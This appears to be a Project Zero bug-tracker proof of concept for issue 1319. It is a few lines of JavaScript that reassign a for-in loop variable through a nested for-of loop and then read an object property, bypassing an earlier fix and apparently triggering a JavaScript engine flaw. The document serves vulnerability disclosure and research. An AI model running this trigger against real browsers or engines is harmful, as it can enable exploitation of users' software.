<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1319 The following PoC bypasses the fix for the issue 1263 (https://bugs.chromium.org/p/project-zero/issues/detail?id=1263) PoC: --> function f() { let o = {}; for (let i in {xx: 0}) { for (i of [0]) { } print(o[i]); } } f();